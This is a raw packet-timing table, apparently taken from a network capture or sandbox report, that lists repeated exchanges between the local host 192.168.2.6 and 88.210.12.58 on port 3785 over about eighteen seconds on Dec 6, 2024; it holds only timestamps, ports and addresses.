Dec 6, 2024 10:40:56.781414986 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:56.798399925 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:56.880553961 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:56.901437044 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:56.980561972 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:57.000354052 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:57.081609011 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:57.100267887 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:57.182595015 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:57.201395035 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:57.282634974 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:57.302359104 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:57.382580042 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:57.402471066 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:57.482682943 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:57.502298117 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:57.582602978 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:57.602447033 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:57.683618069 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:57.702533960 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:57.783593893 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:57.803500891 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:57.884603024 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:57.903891087 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:57.985685110 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:58.004463911 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:58.089442015 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:58.105505943 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:58.189440012 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:58.209456921 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:58.289443016 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:58.309364080 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:58.386599064 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:58.409271002 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:58.486603022 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:58.506319046 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:58.589426994 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:58.606369019 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:58.688575983 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:58.709228992 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:58.789613008 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:58.808325052 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:58.890640974 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:58.909305096 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:58.993446112 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:59.011094093 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:59.091624022 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:59.113390923 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:59.192572117 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:59.211607933 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:59.292664051 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:59.312424898 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:59.393623114 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:59.412378073 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:59.493613005 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:59.519407988 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:59.593628883 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:59.613538980 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:59.694578886 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:59.713546038 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:59.795592070 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:59.814337015 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:59.895612001 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:40:59.915391922 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:40:59.995605946 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:00.015403986 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:00.097475052 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:00.115406036 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:00.196583033 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:00.217366934 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:00.296576023 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:00.391388893 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:00.396584988 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:00.497128010 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:00.516395092 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:00.596581936 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:00.636800051 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:00.636976004 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:00.701452017 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:00.717911959 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:00.798620939 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:00.822077036 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:00.900217056 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:00.918354988 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:01.003901958 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:01.020175934 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:01.100624084 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:01.125672102 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:01.201656103 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:01.220761061 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:01.302618027 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:01.321939945 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:01.402654886 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:01.422872066 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:01.503710985 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:01.522339106 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:01.603574038 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:01.624022961 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:01.704631090 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:01.723584890 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:01.804641008 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:01.826056004 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:01.905577898 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:01.924382925 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:02.005585909 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:02.027270079 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:02.109452009 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:02.125664949 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:02.206629992 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:02.229283094 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:02.307702065 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:02.326499939 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:02.409441948 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:02.428018093 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:02.508588076 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:02.529675007 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:02.608675957 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:02.629336119 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:02.713469028 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:02.729633093 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:02.809639931 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:02.834285021 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:02.913450956 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:02.929436922 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:03.019874096 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:03.033267021 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:03.139949083 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:03.430593014 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:03.531702042 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:03.550369024 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:03.632632017 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:03.651484013 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:03.733613014 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:03.752418995 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:03.834644079 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:03.853574991 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:03.934650898 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:03.954456091 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:04.034621000 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:04.054512024 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:04.135627031 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:04.154402971 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:04.237468004 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:04.255443096 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:04.337748051 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:04.357242107 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:04.438647985 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:04.457463026 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:04.541671038 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:04.558408976 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:04.641463995 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:04.661626101 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:04.741492987 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:04.761161089 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:04.841461897 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:04.861216068 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:04.941618919 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:04.961191893 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:05.041642904 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:05.061322927 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:05.141645908 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:05.161358118 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:05.242639065 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:05.263957977 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:05.343662977 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:05.362374067 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:05.443618059 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:05.463404894 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:05.543648005 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:05.563936949 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:05.643682003 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:05.663465977 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:05.744635105 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:05.763415098 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:05.844650030 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:05.864389896 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:05.944653034 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:05.964396954 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:06.045649052 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:06.064450026 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:06.146608114 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:06.165868044 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:06.246612072 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:06.266309977 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:06.347603083 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:06.366360903 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:06.449484110 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:06.467710972 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:06.547631979 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:06.569154978 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:06.649477005 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:06.667409897 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:06.749469995 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:06.769181967 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:06.849478960 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:06.869252920 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:06.949724913 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:06.969233036 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:07.053473949 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:07.069420099 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:07.150625944 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:07.173186064 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:07.251666069 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:07.270387888 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:07.351690054 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:07.371474981 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:07.452739000 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:07.472202063 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:07.552717924 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:07.573290110 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:07.653611898 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:07.672444105 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:07.754803896 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:07.773459911 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:07.874447107 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:08.064904928 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:08.165481091 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:08.184603930 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:08.265659094 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:08.285140038 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:08.365679026 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:08.388250113 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:08.465744019 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:08.486862898 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:08.566637039 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:08.588350058 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:08.669492006 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:08.686539888 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:08.767693043 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:08.789279938 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:08.868640900 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:08.887578964 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:08.969631910 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:08.988539934 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:09.069660902 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:09.089472055 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:09.170664072 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:09.189505100 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:09.271656036 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:09.290453911 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:09.372764111 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:09.391697884 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:09.472701073 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:09.493683100 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:09.575515985 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:09.593744040 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:09.676647902 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:09.696321011 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:09.776664019 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:09.797127008 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:09.877644062 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:09.897346020 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:09.978668928 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:09.997983932 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:10.078634024 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:10.098431110 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:10.179668903 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:10.198513985 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:10.279642105 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:10.299464941 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:10.385505915 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:10.399606943 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:10.481654882 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:10.505317926 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:10.601468086 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:10.608735085 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:10.715543985 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:10.728671074 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:10.835270882 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:11.022624969 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:11.122697115 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:11.142692089 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:11.223644018 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:11.242439985 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:11.323692083 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:11.344631910 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:11.424658060 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:11.443511009 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:11.525631905 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:11.544460058 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:11.625858068 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:11.645356894 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:11.726747990 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:11.745604038 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:11.827665091 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:11.847145081 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:11.927727938 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:11.947412968 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:12.028762102 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:12.047467947 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:12.129646063 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:12.148711920 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:12.229656935 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:12.249408007 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:12.329725981 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:12.350266933 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:12.430639982 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:12.449453115 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:12.530679941 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:12.550369978 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:12.630666971 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:12.650454998 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:12.733510971 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:12.750407934 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:12.832659960 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:12.853266001 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:12.932703972 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:12.952598095 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:13.033683062 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:13.052495956 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:13.134696007 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:13.153431892 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:13.235635996 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:13.254440069 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:13.335673094 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:13.355376959 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:13.435683012 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:13.455368996 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:13.536639929 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:13.555572987 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:13.636734962 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:13.656455994 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:13.737664938 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:13.756591082 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:13.838710070 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:13.857465029 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:13.939759016 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:13.958993912 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:14.039697886 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:14.143518925 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:14.218750954 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:14.218961954 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:14.243947029 CET	49737	3785	192.168.2.6	88.210.12.58
